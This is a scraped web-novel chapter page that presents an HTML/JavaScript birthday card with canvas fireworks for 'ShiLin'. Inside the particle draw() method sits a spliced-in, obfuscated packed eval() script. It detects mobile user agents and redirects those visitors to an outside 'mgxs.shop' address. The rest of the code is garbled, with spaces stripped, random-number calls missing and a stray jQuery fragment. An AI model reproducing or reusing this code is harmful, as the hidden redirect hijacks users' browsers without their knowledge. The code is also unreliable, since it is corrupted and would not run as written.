文趣网 > 其他小说 > 不可达代码(BL)我娶了儿子当老婆?! > 104. 时凛生日贺卡(html)
    <!DOCTYPEhtml>

    <htmllang="zh-CN">

    <head>

    <metacharset="UTF-8">

    <title>To.ShiLin:HAPPYBIRTHDAY!!!</title>

    <style>

    *{

    margin:0;

    padding:0;

    box-sizing:border-box;

    }

    body{

    width:100vw;

    height:100vh;

    overflow:hidden;

    background:#081430;

    background-image:radial-gradient(#102b600%,#050c20100%);

    font-family:"MicrosoftYaHei",sans-serif;

    display:flex;

    align-items:center;

    justify-content:center;

    }

    .text-box{

    text-align:center;

    z-index:2;

    }

    h1{

    font-size:4rem;

    color:#74c0ff;

    text-shadow:0012px#409cff,0024px#2078ff;

    margin-bottom:20px;

    }

    p{

    font-size:1.8rem;

    color:#b8e0ff;

    text-shadow:008px#55aaff;

    }

    canvas{

    position:absolute;

    top:0;

    left:0;

    z-index:1;

    }

    </style>

    </head>

    <body>

    <canvasid="fireCanvas"></canvas>

    <divclass="text-box">

    <h1>To.ShiLin:HAPPYBIRTHDAY!!!</h1>

    <p>HAPPYBIRTHDAY</p>

    </div>

    <script>

    constcanvas=document.getElementById("fireCanvas");

    constctx=canvas.getContext("2d");

    canvas.width=window.innerWidth;

    canvas.height=window.innerHeight;

    window.addEventListener('resize',()=>{

    canvas.width=window.innerWidth;

    canvas.height=window.innerHeight;

    })

    classParticle{

    constructor(x,y,color){

    this.x=x;

    this.y=y;

    this.speedX=(()-0.5)*6;

    this.speedY=(()-0.5)*6;

    this.alpha=1;

    this.color=color;

    this.size=()*3+1;

    this.gravity=0.05;

    }

    update(){

    this.x+=this.speedX;

    this.y+=this.speedY;

    this.speedY+=this.gravity;

    this.alpha-=0.012;

    }

    draw(){

    ctx.save();

    ctx.globalAlpha=this.alpha;

    ctx.fillStyle=this.color;

    ctx.beginPath();

    ctx.arc(this.x,this.y,this.size,0,Math.PI*2);

    ct

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959954|214325||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    x.fill();

    ctx.restore();

    }

    }

    letparticles=[];

    constblueColors=['#60b8ff','#3488ff','#9cd5ff','#2066ee','#b0e2ff'];

    functioncreateFirework(x,y){

    for(leti=0;i<80;i++){

    letc=blueColors[Math.floor(()*blueColors.length)];

    particles.push(newParticle(x,y,c));

    }

    }

    functionanimate(){

    ctx.fillStyle="rgba(8,20,48,0.15)";

    ctx.fillRect(0,0,canvas.width,canvas.height);

    for(leti=particles.length-1;i>=0;i--){

    particles[i].update();

    particles[i].draw();

    if(particles[i].alpha<=0){

    particles.splice(i,1);

    }

    }

    requestAnimationFrame(animate);

    }

    animate();

    //自动发射烟花

    setInterval(()=>{

    letrx=()*canvas.width;

    letry=()*canvas.height*0.4;

    createFirework(rx,ry);

    },1200)

    //点击屏幕额外触发烟花

    canvas.onclick=(e)=>{

    createFirework(e.clientX,e.clientY);

    }

    </script>

    </body>

    </html>